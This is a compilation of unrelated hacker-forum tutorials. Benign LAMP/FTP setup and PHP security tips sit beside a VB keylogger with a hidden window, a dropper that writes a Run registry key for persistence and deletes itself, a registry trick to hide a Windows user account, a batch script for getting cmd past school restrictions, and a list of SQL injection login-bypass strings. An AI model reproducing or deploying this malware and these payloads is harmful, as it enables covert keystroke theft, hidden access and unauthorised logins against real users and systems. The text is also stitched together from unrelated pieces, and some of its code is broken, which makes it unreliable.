How to set up your LAMP stack.

First off I will talk about what exactly a LAMP stack is.

LAMP stands for Linux Apache MySQL PHP (this can sometimes be replaced with Python). Lets break this down.

Linux- Linux/ Unix is the leading OS for web servers due to low resource usage allowing for faster load times and high up-time.

Apache- Apache is the actual service that Hosts the website and turns your box into a usable webhost.

MySQL- is a dynamic database that is able to hold almost any information. This stores information that is then pulled by PHP or another server side language.

PHP- A high powered dynamic internet language derived from the GPL (General Programing Language) Perl. This is used to display dynamic content.

Now that we have a brief understanding of what exactly we are doing we will now be able to begin.

Before I get started as to how to do everything I would like to mention I am running Ubuntu Server Edition 7.04 (32 bit). I am also assuming you have basic understanding of Linux/ Unix along with general computing knowledge.

Once logged on to our Linux box we will need to download and install our Apache server, surprisingly enough it is incredibly simple. Just type:

sudo apt-get install apache2 mysql-server php5 libapache2-mod-php5 php5-xsl php5-gd php-pear libapache2-mod-auth-mysql php5-mysql

This will take a few moments to install and download.

Once that is up and working we will restart the LAMP server by using:

sudo /etc/init.d/apache2 restart


Now lets make it work! We will configure Apache by using a simple Linux based text editor called nano. (I am using nano in this tutorial instead of vi for the simplicity of nano to a beginner). Unlike so many other services you do not need to directly configure your apache config. And before we move on we will need to make a new directory so type in the following:

sudo mkdir /home/[username here]/www/
sudo chmod 755 /home/[username here]/www/


With that made lets do some small bits of configuring. We will use our nano editor to edit our sites available list by running the following:

sudo cp /etc/apache2/sites-available/default / etc/apache2/sites-available/mysite
sudo nano etc/apache2/sites-available/mysite


That bit there copies the file “default” and renames it “mysite” and the second line opens it for editing. Here is what we need to change:

Change this:

DocumentRoot /var/www

Options FollowSymLinks
AllowOverride None



To:

DocumentRoot /home/[username here]/www

Options FollowSymLinks
AllowOverride None



Now hit ctrl + O to save. Then ctrl + Z to close the file.

Next we use a pretty little Linux trick that deactivates the “default” site with “mysite”

sudo a2dissite default && sudo a2ensite mysite

And finally you will need to restart your Apache server just as we did before.

SO! Lets test it out! We will need to give our new web server something to display so lets keep it simple with the following script:

echo 'Hello! It is working!' > /home/[username here]/www/index.html

Done that? GREAT!

Now lets take a look open up a web browser and type in the internal address of that machine (if you are testing this on the same machine it is installed on the universal internal IP for localhost is 127.0.0.1)
So as a URL you would type http://address-of-machine As an example mine was http://192.168.1.67
If it works you should see the message “Hello! It is working!”

Lets advance a little bit though. This is all fine and dandy if you are on a LAN with this machine, but what about over the World Wide Web? Well this is automatically listening on port 80, unfortunately most ISPs HATE people using this port so I will show you how to change the listen port of the server. Simple use nano to change the apache port list.

sudo nano /etc/apache2/ports.conf

It will by default say

Listen 80


Listen 443


change this to:

Listen 8000


Listen 443



Perfect! Now after you restart the Apache service once more we will be listening on a unrestricted port! The only thing that has changed is the way we access the webpage. Instead of typing http://192.168.1.67 we now type http://192.168.1.67:8000
Log into your router forward port 8000 to the internal address of the LAMP stack and we are good to go.

You now have a fully functional LAMP stack that will host anything just as a paid host will (it won’t have a domain name as you need to set that up which will not be covered in this tutorial)

To make this a little more complete I am going to go one step further and show you how to gain FTP access to your new LAMP stack!

We will now download a service called proftpd. Do this by typing:

sudo apt-get install proftpd


Simple enough, just as a side note I recommend installing it as a standalone. Now to our lovely friend NANO and do some configuring!
Find the line that defines the following:

# Use this to jail all users in their homes
#DefaultRoot ~

and change it to:

# Use this to jail all users in their homes
DefaultRoot /home/[username here]/www

Just note exactly what we did. We changed it so that anyone who logs into the FTP will only have FTP access over the web server files AND we had to uncomment (remove the ‘#’).
Before I forget I want to say we edit the FTP config with the following:

sudo nano /etc/proftpd/proftpd.conf


Also note that most ISPs block port 21 (FTP port) so we will change that as well.

So find the line:

# Port 21 is the standard FTP port.
Port 21

And change it to:

# Port 21 is the standard FTP port.
Port 2121


Now forward the port 2121 to your LAMP stack as well. Following that we will restart the FTP service by typing:

sudo /etc/init.d/proftpd restart


LETS TRY CONNECTING!
Open FTP and connect to the address of you LAMP stack on port 2121
So for example on MS command based FTP it would be:

open 192.168.1.68 2121

and log in using the credentials to your Linux box.

TA DA! Now you have a working webhost with full FTP access!

Creating a simple key logger
By Dat Hacker
VB Required
First of all you need to make a extractor for your virus name it simple keylogger extractor:
Now create a keylogger, make it have 0% opacity and create a textbox named textbox1 and a timer named timer1, set the timer to an interval of 1 and enable it, now add this coding:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = Chr(i)
End If
Next i
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\log.log")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
TextBox1.Text = ""
End Sub
End Class
There will be “Warnings” ignore them as they will not interfere, now save this, compile it and go to the debug area (c:\users(or documents and settings)\username\documents \Visual Studio 2008\Projects\simple keylogger\simple keylogger\bin\Debug
Here you will find an exe that will be the program, rename it sys.txt and copy it to your desktop, now open simple keylogger extractor, create 2 textboxes leave the names as textbox1 and textbox2, and make them multiline. Make the opacity 0% and and copy this text to the file:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\reg.reg")
shell = Nothing
shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\sys.exe")
shell = Nothing
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\reg.reg")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
path = filesys.GetPathName("C:\windows\system32\sys.exe")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox2.Text)
filetxt.Close()
Dim shell
Me.Close()
My.Computer.FileSystem.DeleteFile("passwordcracker.exe")
My.Computer.FileSystem.DeleteFile("c:\windows\system32\reg.reg")
End Sub
End Class
Now set the textboxes, textbox1 should have the text:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]
"sys"="c:\\windows\\system32\\sys.exe"
And textbox2 should have the text you generated from your keylogger (just copy the text)
The program should run successfully, feel free to change scripting around

Want an account that no one can see??? on windows XP **

goto start>run>type regedit



in the menu goto

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurren tVersion
WinlogonSpecialAccountsUserList

right click and select string value

right click on the new string value and click rename

type the name of the account you want to hide (exactly the way it is spelled)

hit enter then right click on the string value again and click value change value to zero which hides it 1 shows it

now exit the registry and logoff

goto welcome screen and hit ctrl+alt+del twice to bring up old logon prompt

type hidden accounts name and password.

also hide all of the hidden accounts files.

Here is an easy manual tutorial on how to lock and hide hard-drives.
Follow these steps below:


1. open Registry (go to run command, type "regedit" and press enter)

2. then go to this key
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer

3. now click right button and create DWORD Value (blue color)

4. Rename it as "NoViewOnDrive" (for locking drive)
or
Rename it as "NoDrives" (for Hiding drive)

5. double click it and put some numbers to lock ur desired Drive and click ok.

6. Here is Drive No.
A: 1
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128

7. finally restart or log-off the computer to take effect.

Keep in mind that "0" is Default Value or Disable or remove this setting.

Hi....well, i decided to try and do my first tutorial on how you can use batch files to your full extent...

....Technically, DOS provides just eight basic batch file commands -- CALL, ECHO, FOR, GOTO, IF, PAUSE, REM, and SHIFT -- plus a tiny assortment of miscellaneous doodads: replaceable parameters, environment variables, labels, double == signs, and @ signs. That's it! Not too much to learn, even for the most fervent DOS-hater. But the tools these few commands can create will astonish you.....

PC Computing - DOS Power Tools by Paul Somerson

Batch files can be used for a large amout of different things, anything from gettting specific commands to start at specific times, to opening cmd in a limited account, to getting a first easy taste to the magic of programming, to just have the thrill of being to write in it!

Batch files are made from the basic notepad (WIN + R, then type in notepad).
Inside notepad the fun can begin.

BASIC BATCH FILES

To start with, we'lll make a simple .bat file to say "Hello World" and then pause.

@echo off
echo Hello World!
echo.
pause ::
exit
rem I love undergroundsystems.org!

Ok, now to have fun and disect it :P

To start with there's the @echo off. The @ means that the "echo off" part of the code isnt run visibly to the user. The "echo off" is also a secret spy tool! When this is put in, the user can still run the program, but with the flipping
"C:\documents and settings\my documents\" or however your logged on.

The echo is like the "COUT" comman in C. It sends whatever you write after it to the screen of your bat file. When you wrote "echo Hello World!", it sends to the screen "Hello World!", ommitting the echo. The "echo." is a nifty command to make writing in a batch file a lot easier. It basically just leaves a blank line, which i can tell you is a hell'ov a lot easier to see, than say:

Hello World
Press any key to continue...

:eek: :eek: :eek:

Next there is the "pause ::". Now I dont think there is any difference if you write "pause" or "pause ::". In any case, they both do the same visible thing. :rolleyes: when you type this into your batch file, it will say when you run the program:

"Press any key to continue" Gosh not a please! :mad:

As soon as you click any key, the program will continue to the next line of the code. which in our case is the "exit" command. This does what any jack-a$$ might think it does....exits or shutsdown the program. Nothing spectacular lol.

Finally in our little program, there is the "rem I love US.org!". Now if you added this into your program when you ran it, you might have/or might not have been a bit puzzled to see that it didnt pop up. WTF This is because its just for you to write your notes after it...maybe not for a program like "Hello World", but something much longer and harder to script.

Phew, that was a hell of a lot for 5 lines of programming! (goes off to get a cup'a'tea.)

GETTING CMD WITH BATCH FILES

Many people use batch files to get good'old cmd, in say a limited user. First can I say that im not encouraging anyone to try and do this, errr, its for administrators to test their security?....what is it :rolleyes: ....erm for security testing purposes only?....oh well, this isnt top secret super hacker stuff...

Most cmd commands can be run from a batch file, and cmd can also be run from a batch file..Here is a little script i just made (sorry for any mistakes), which will try and open cmd with a variety of methods:


@echo off
pause
cmd.exe
pause
command.com
pause
cmd
pause
c:\WINDOWS\system32\cmd.exe
pause
rem ############echo please modify this accordingly############
COPY "c:\WINDOWS\system32\cmd.exe" "c\documents and settings\##please enter your username here##\my documents"
pause
exit


Now, this code simply just goes through different ways to open up cmd.. The first 5 ways will always work..unless your admin :P (yer, i know you'll try this in schools), blocks them. If your admin is like the BOFH: (http://www.google.co.uk/search?hl=en&q=bofh&meta=) he might even have banned batch files, but oh well.... they did for me.. :madman:

Final section now..

RUNNING EASIER SCRIPTS!

Now batch files can also be used to make nice simple scripts that help tha tards out there. :tard:

Here is one which basically helps you make a new user on your non-networked computer.

@echo off
:A
cls
echo Poetic-Justics's user creation program.
echo.

set /p n="Old User-name: "
echo.
set /p m="New user-name: "
echo.
set /p p="New user-name password: "
echo.
set /p g="new user-group: "
echo.
set /p s="Are you sure you want to do this? "
if %s%==yes goto B
if %s%==no goto c

:B
cls
net user %m% %p% /ADD
net user %n% /DELETE
net group %g% %m% /ADD

:C
cls
echo Thanks for using this easy user creation....blah, blah, blah..
echo.
pause ::
exit

Now you could also add in things such as, "please confirm the password" or whatever, but im too tired :P In case anyone did want to try and do that though its :

set /p h="please confirm password: "
if %h%==%p% goto "whereever you want it to go to"

FINAL WORDS!

Anyway, here are my final words on cmd. They are a great way to start programming in my view, its a lot easier than most other proper things like C, delphi ect...but its a lot more limited. Its really easy to learn actually, and when you can, you get the great feeling that you can do most things with them.

Some links that might help you (they did help me) are:

*http://www.robvanderwoude.com/batchfiles.html
*http://www.ericphelps.com/batch/tricks/index.htm
*http://www.ericphelps.com/batch/

its a natural thing to secure your website, or so you would think. PHP comes with tons of security features that many web developers dont consider when coding a website. Security is in place to protect your members sensitive data and to prevent defacements or at worst to prevent server comprimise. I will cover a couple security measures that you can use when writing "proper" PHP code. Nobody wants to wake up to a website thats been hacked overnight or while your on the shitter.

Some of the most basic and overlooked things are, cleaning your variables and all user input. Many variables themselves can be overwritten with user specified data from a malicious user. Let's say you have an admin panel on your website thats not the most secure thing y'know, but it works well. Someone finds a hole or bruteforces their way in without any visiable knowledge. That admin panel maybe be able to delete files. Whats to say the attacker doesnt just delete files but goes ahead and deletes passwd entires or other sensitive server files that would stop them from advancing.

all inputs from the "outside" coming in should be checked for malicious content!!! I will not cover security with your database. I have written many articles on SQL injection, if you dont know what it is please research it. Database security is very inmportant, I will not cover it here.

Magic Quotes
Magic quotes are a "godsend" when it comes to dealing with user input. When this option is tunred on (located in your php.ini) it will escapes all single and double quotes, backslashes, and NULL bytes from a users input with a backslash. The problem with turning magic quotes on is that maybe you want your users to use single or double quotes, or when uploading files. If you turn this off you can at "runtime" parse the strings from the user entered data.

If your new to PHP i would suggest turning this on until you learn how to properly parse and display data that users enter. I personally use a "clean" function that i've written. I will give you a basic "on-the-fly" one just for this tutorial so you can start building your own cleaning function.

function clean($string) {
$string = stripslashes($string);
$string = htmlentities($string);
$string = strip_tags($string);
return $string;
}
?>

you would use this function like below, if your user was submitting a form that required a username.

$username = $_POST;
echo clean($mystring);
?>

There are 3 directives for the magic quotes, refer to the php.net website or the php manual. Basically the 3 directives are magic_quotes_gpc, these deal with the request data (get, post, cookies). magic_quotes_runtime deal with flatfiles and databases, external files. the third is magic_quotes_sybase, this will override the magic_quotes_gpc if its enabled. This one will escape single quotes with another single quote.
---------------

Security Through Obscurity
Recently you may not have noticed, I sure have on some websites where an ASP or PERL extension can be found in place of the normal PHP when you know for true, 100% fact that the website is running a php/sql based front and backend. This is "obscurity through security" when instead of telling the attackers your using php scripts you mislead them into thinking your running perl or pythoin or whatever type of script you want.

For example, your run a php script with the .php extension, like normal. Rather than showing the world your "hello.php" script you can actually use Apache to "hide" or "obscure" the real file's extension. So instead of normally using "hello.php" you could disguise the file to viewers as perl, "hello.pl" even though its a PHP script. like so...

AddType application/x-httpd-php .asp .py .pl

my favorite is making up my own file extensions, like .sun or .fuck

AddType application/x-httpd-php .sun .fuck .1e3t

Im sure if an attacker is just looking for something to fuck with when he comes across a .sun file that runs like a php file, theyll will be heartbroken and confused. Give it a try. The above codes are for the Apache configuration file. If your on a shared hosting you may not have access to the Apache configuration files, Maybe you could make some suggestions to your host.
---------------

[u]Register Globals
This is a big change in PHP when 4.2 came out. This is an on/off option in the INI file for php (php.ini). PHP doesnt force you to initial variables like other languages, for this, people think its a very insecure language. When register globals is on it will allow a request to set a variable. The best kind of example is a member login form. Let's say register globals is on..

if($authed = true) {
echo "my sensitive information";
}
?>

Any user can get to the "sensitive information" by sending a GET request. You could do this via telnet or by browser, like so sin.php?authed=true, which reveals the sensitive information. Turning them off will defeat this problem. Now when we try to visit the site sin.php?authed=true, It will be blank. Users cannot initialize variables from an external source. Another way to protect your variables from external sources would be to check if they are submitted via a GET or POST request.

$authed = true;

if(isset($_POST[authed]) || $_GET[authed]) {
echo "variable violation";
} else {
if($authed == true) {
echo "my sensitive information";
}
}
?>

By monitoring the GET and POST requests we can check to see if someone is trying to inject something into our variables without the script doing it. Usually followed by not only a message telling them they have wrong the variable, but usually a mail() will follow to notify the admins on the website. I love this one.

For those of you who dont already know SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. The result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

Data types:
mysql.user
mysql.host
mysql.db

SQL commands:
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

Bypassing login scripts:
SQL injection strings and the DB doesnt matter.

') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Note: having 1=1--

Example:

Login: hi'or 1=1--
Password: hi'or 1=1--